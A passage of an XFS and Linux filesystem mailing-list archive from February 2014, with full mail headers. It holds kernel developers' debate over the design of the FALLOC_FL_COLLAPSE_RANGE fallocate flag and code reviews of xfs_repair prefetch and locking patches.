beyond the EOF will break the spec that requires SIGBUS when > touching there, and pages within EOF will be confusingly derived > from file data now belonging to another offset or none (move these > pages within the user address space? no, I don't think anon_vmas > would allow that, and there may be no right place to move them). See above - we never leave pages beyond the new EOF because setting the new EOF is a truncate operation that calls truncate_setsize(inode, newsize). > It's clear that the right and easy thing to do is just to unmap > them (all of them, from critical offset to EOF), in the rare case > of there being any such pages. Whether this detail needs to be > mentioned in the man page (I don't like throwing away a user's > data without warning) I'm not sure, Michael can judge. > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > but probably seven months too late to object. It surprises me that > you're doing all this work to deflate a part of the file, without > the obvious complementary work to inflate it - presumably all those > advertisers whose ads you're cutting out, will come back to us soon > to ask for inflation, so that they have somewhere to reinsert them ;) The name makes no difference to me - it's a filesystem offload function of a very specific nature. If we require the opposite behaviour - inserting unwritten extents after shifting the data up out of the way - then we can just add a new FALLOC_FL_INSERT_RANGE command to do that. But in the absence of anyone needing such functionality, the complexity of implementing it is not worth the effort. > I should mention that when "we" implemented this thirty years ago, > we had a strong conviction that the system call should be idempotent: > that is, the len argument should indicate the final i_size, not the > amount being removed from it. Now, I don't remember the grounds for > that conviction: maybe it was just an idealistic preference for how > to design a good system call. I can certainly see that defining it > that way round would surprise many app programmers. Just mentioning > this in case anyone on these lists sees a practical advantage to > doing it that way instead. I don't see how specifying the end file size as an improvement. What happens if you are collapse a range in a file that is still being appended to by the application and so you race with a file size update? IOWs, with such an API the range to be collapsed is completely unpredictable, and IMO that's a fundamentally broken API. > I see you've included xfstests and xfs_io updates, nice. Did you > realize that util-linux has a /usr/bin/fallocate? I hope someone > will update that too. I don't care about /usr/bin/fallocate - I've never used it in my life because xfs_io exists on all my systems and is way more powerful and useful to me than /usr/bin/fallocate. Regardless, I think someone posted patches for it yesterday. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 19:34:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5107C7F37 for ; Tue, 25 Feb 2014 19:34:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF03EAC004 for ; Tue, 25 Feb 2014 17:34:31 -0800 (PST) X-ASG-Debug-ID: 1393378469-04cb6c56773ede0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id qGYOwqQChDOwmlPK for ; Tue, 25 Feb 2014 17:34:29 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtpMAI5DDVN5LJYePGdsb2JhbABZgwaIT7NuhVaBFBcDAQEBATg1giUBAQU6HCMQCAMOCgklDwUlAwcaE4gEyFMXFo46B4Q4BJg1ilOJRYFSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 12:04:28 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WITOE-0002yN-OS; Wed, 26 Feb 2014 12:34:26 +1100 Date: Wed, 26 Feb 2014 12:34:26 +1100 From: Dave Chinner To: Andrew Morton Cc: Hugh Dickins , Namjae Jeon , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140226013426.GM13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140225154128.947a2de83a2d0dc21763ccf9@linux-foundation.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225154128.947a2de83a2d0dc21763ccf9@linux-foundation.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393378469 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145515 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 03:41:28PM -0800, Andrew Morton wrote: > On Tue, 25 Feb 2014 15:23:35 -0800 (PST) Hugh Dickins wrote: > > On Tue, 25 Feb 2014, Dave Chinner wrote: > > > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > > but probably seven months too late to object. It surprises me that > > you're doing all this work to deflate a part of the file, without > > the obvious complementary work to inflate it - presumably all those > > advertisers whose ads you're cutting out, will come back to us soon > > to ask for inflation, so that they have somewhere to reinsert them ;) > > Yes, I was wondering that. Why not simply "move these blocks from here > to there". And open a completely unnecessary can of worms to do with behavioural and implementation corner cases? Do you allow it to destroy data by default? Or only allow moves into holes? What do you do with range the data is moved out of? Does it just become a hole? What happens if the range overlaps EOF - does that change the file size? What if you want to move the range beyond EOF? What if the source and destination ranges overlap? What happens when you move the block at EOF into the middle of a file - do you end up with zeros padding the block and the file size having to be adjusted accordingly? Or do we have to *copy* all the data in high blocks down to fill the hole in the block? What behaviour should we expect if the filesystem can't implement the entire move atomically and we crash in the middle of the move? I can keep going, but I'll stop here - you get the idea. In comparison, collapse range as a file data manipulation has very specific requirements and from that we can define a simple, specific API that allows filesystems to accelerate that operation by extent manipulation rather than read/memcpy/write that the applications are currently doing for this operation.... IOWs, collapse range is a simple operation, "move arbitrary blocks from here to there" is a nightmare both from the specification and the implementation points of view. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 19:40:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 51DF27F37 for ; Tue, 25 Feb 2014 19:40:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 34210304075 for ; Tue, 25 Feb 2014 17:40:54 -0800 (PST) X-ASG-Debug-ID: 1393378852-04cbb066e542ce0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id iSIfRen0qPSsRp6i (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 17:40:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WITUS-0000uQ-IW; Wed, 26 Feb 2014 01:40:52 +0000 Date: Tue, 25 Feb 2014 17:40:52 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware Message-ID: <20140226014052.GA31905@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-11-git-send-email-david@fromorbit.com> <20140225172518.GA12871@infradead.org> <20140225235112.GK13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225235112.GK13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393378853 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145515 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Feb 26, 2014 at 10:51:12AM +1100, Dave Chinner wrote: > Sure, but it's way outside the scope of fixing this bug. > We'd need to start with the kernel code, then port it is userspace > and propagate it into all the utilities. Patches welcome ;) Just doing that repair-local would be a start. From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 19:45:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0ACBA7F37 for ; Tue, 25 Feb 2014 19:45:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D7EF58F806F for ; Tue, 25 Feb 2014 17:45:03 -0800 (PST) X-ASG-Debug-ID: 1393379099-04cb6c56763f260001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 4tKfrSumy8CF84EW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 17:45:00 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WITYR-0000xN-9B; Wed, 26 Feb 2014 01:44:59 +0000 Date: Tue, 25 Feb 2014 17:44:59 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware Message-ID: <20140226014459.GA3616@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-11-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-11-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393379099 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145515 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks fine even if I'd prefer a broader fix: Reviewed-by: Christoph Hellwig From akpm@linux-foundation.org Tue Feb 25 19:50:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CB4FC7F3F for ; Tue, 25 Feb 2014 19:50:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49E6DAC005 for ; Tue, 25 Feb 2014 17:50:05 -0800 (PST) X-ASG-Debug-ID: 1393379403-04cb6c56783f460001-NocioJ Received: from mail.linuxfoundation.org (mail.linuxfoundation.org [140.211.169.12]) by cuda.sgi.com with ESMTP id Fe0C58Kfhr0CAbb6 for ; Tue, 25 Feb 2014 17:50:03 -0800 (PST) X-Barracuda-Envelope-From: akpm@linux-foundation.org X-Barracuda-Apparent-Source-IP: 140.211.169.12 Received: from localhost (c-67-161-9-76.hsd1.ca.comcast.net [67.161.9.76]) by mail.linuxfoundation.org (Postfix) with ESMTPSA id BFF0493A; Wed, 26 Feb 2014 01:49:59 +0000 (UTC) Date: Tue, 25 Feb 2014 17:52:16 -0800 From: Andrew Morton To: Dave Chinner Cc: Hugh Dickins , Namjae Jeon , Matthew Wilcox , "Theodore Ts'o" , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <20140225175216.0f0c10f9.akpm@linux-foundation.org> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140226013426.GM13647@dastard> References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140225154128.947a2de83a2d0dc21763ccf9@linux-foundation.org> <20140226013426.GM13647@dastard> X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.9; x86_64-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.linuxfoundation.org[140.211.169.12] X-Barracuda-Start-Time: 1393379403 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, 26 Feb 2014 12:34:26 +1100 Dave Chinner wrote: > On Tue, Feb 25, 2014 at 03:41:28PM -0800, Andrew Morton wrote: > > On Tue, 25 Feb 2014 15:23:35 -0800 (PST) Hugh Dickins wrote: > > > On Tue, 25 Feb 2014, Dave Chinner wrote: > > > > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > > > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > > > but probably seven months too late to object. It surprises me that > > > you're doing all this work to deflate a part of the file, without > > > the obvious complementary work to inflate it - presumably all those > > > advertisers whose ads you're cutting out, will come back to us soon > > > to ask for inflation, so that they have somewhere to reinsert them ;) > > > > Yes, I was wondering that. Why not simply "move these blocks from here > > to there". > > And open a completely unnecessary can of worms to do with > behavioural and implementation corner cases? But it's general. > Do you allow it to destroy data by default? Or only allow moves into > holes? Overwrite. > What do you do with range the data is moved out of? Does it just > become a hole? What happens if the range overlaps EOF - does that > change the file size? Truncate. > What if you want to move the range beyond EOF? Extend. > What if the source and destination ranges overlap? Don't screw it up. > What happens when you move the block at EOF into the middle of a > file - do you end up with zeros padding the block and the file size > having to be adjusted accordingly? Or do we have to *copy* all the > data in high blocks down to fill the hole in the block? I don't understand that. Move the block(s) and truncate to the new length. > What behaviour should we expect if the filesystem can't implement > the entire move atomically and we crash in the middle of the move? What does collapse_range do now? If it's a journaled filesystem, it shouldn't screw up. If it isn't, fsck. > I can keep going, but I'll stop here - you get the idea. None of this seems like rocket science. > In comparison, collapse range as a file data manipulation has very > specific requirements and from that we can define a simple, specific > API that allows filesystems to accelerate that operation by extent > manipulation rather than read/memcpy/write that the applications are > currently doing for this operation.... IOWs, collapse range is a > simple operation, "move arbitrary blocks from here to there" is a > nightmare both from the specification and the implementation points > of view. collapse_range seems weird, arbitrary and half-assed. "Why didn't they go all the way and do it properly". From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 19:52:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6979F7F3F for ; Tue, 25 Feb 2014 19:52:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4971C8F807A for ; Tue, 25 Feb 2014 17:52:52 -0800 (PST) X-ASG-Debug-ID: 1393379570-04cbb066e643250001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 4NsWfmgGCsJbwzSy (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 17:52:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WITg2-00036P-Ir; Wed, 26 Feb 2014 01:52:50 +0000 Date: Tue, 25 Feb 2014 17:52:50 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/10] repair: prefetch runs too far ahead Message-ID: <20140226015250.GB3616@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 07/10] repair: prefetch runs too far ahead References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-8-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-8-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393379571 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Feb 24, 2014 at 05:29:26PM +1100, Dave Chinner wrote: > @@ -842,7 +842,7 @@ start_inode_prefetch( > * and not any other associated metadata like directories > */ > > - max_queue = libxfs_bcache->c_maxcount / thread_count / 8; > + max_queue = libxfs_bcache->c_maxcount / thread_count / 32; I can't correlate this to anything mentioned in the changelog. Also if you're touching it anyway it might be a good idea to document the magic number here. > +void > +prefetch_ag_range( > + struct work_queue *work, > + xfs_agnumber_t start_ag, > + xfs_agnumber_t end_ag, > + bool dirs_only, > + void (*func)(struct work_queue *, > + xfs_agnumber_t, void *)) > +{ > + int i; > + struct prefetch_args *pf_args[2]; > + > + pf_args[start_ag & 1] = start_inode_prefetch(start_ag, dirs_only, NULL); > + for (i = start_ag; i < end_ag; i++) { > + /* Don't prefetch end_ag */ > + if (i + 1 < end_ag) > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > + dirs_only, pf_args[i & 1]); > + func(work, i, pf_args[i & 1]); > + } > +} This seems to largely duplicate the common code added in patch 5. Having _range variants of those that the non-range ones wrap with 0 and mp->m_sb.sb_agcount as default parameters would avoid that duplication. From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 19:54:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4FB067F3F for ; Tue, 25 Feb 2014 19:54:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 25490304075 for ; Tue, 25 Feb 2014 17:54:34 -0800 (PST) X-ASG-Debug-ID: 1393379673-04cbb066e5432f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id lbLfT9hSeymjRq9D (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 17:54:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIThg-0003GJ-VA; Wed, 26 Feb 2014 01:54:32 +0000 Date: Tue, 25 Feb 2014 17:54:32 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/10] libxfs: remove a couple of locks Message-ID: <20140226015432.GC3616@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 08/10] libxfs: remove a couple of locks References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-9-git-send-email-david@fromorbit.com> <20140225200558.GC22351@infradead.org> <20140225234357.GJ13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225234357.GJ13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393379673 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Feb 26, 2014 at 10:43:57AM +1100, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 12:05:58PM -0800, Christoph Hellwig wrote: > > So what's protecting the cache hits statistics now? > > Nothing. And I don't care because the statistic is meaningless from > the point of view of tuning xfs_repair performance. In that case I think it's better to just remove c_hits instead of updating it in a racy way. From david@fromorbit.com Tue Feb 25 19:57:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4082F7F3F for ; Tue, 25 Feb 2014 19:57:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 22CE98F8070 for ; Tue, 25 Feb 2014 17:57:52 -0800 (PST) X-ASG-Debug-ID: 1393379870-04cb6c56783f7e0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id dVcsbW1PV8Ivl74J for ; Tue, 25 Feb 2014 17:57:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtxMAH5JDVN5LJYePGdsb2JhbABZgwaIT7NuhVaBFRcDAQEBATg1giUBAQQBOhwjBQsIAxgJJQ8FJQMHGhOHfQfIWBcWjjoHhDgEmDWKU4sXKIEuJA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 12:27:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WITkp-00031V-C3; Wed, 26 Feb 2014 12:57:47 +1100 Date: Wed, 26 Feb 2014 12:57:47 +1100 From: Dave Chinner To: Hugh Dickins Cc: Andrew Morton , Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140226015747.GN13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> <20140222140625.GD26637@thunk.org> <20140223213606.GE4317@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393379870 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 03:41:20PM -0800, Hugh Dickins wrote: > On Mon, 24 Feb 2014, Dave Chinner wrote: > > On Sat, Feb 22, 2014 at 09:06:25AM -0500, Theodore Ts'o wrote: > > > On Wed, Feb 19, 2014 at 01:37:43AM +0900, Namjae Jeon wrote: > > > > + /* > > > > + * There is no need to overlap collapse range with EOF, in which case > > > > + * it is effectively a truncate operation > > > > + */ > > > > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && > > > > + (offset + len >= i_size_read(inode))) > > > > + return -EINVAL; > > > > + > > > > > > I wonder if we should just translate a collapse range that is > > > equivalent to a truncate operation to, in 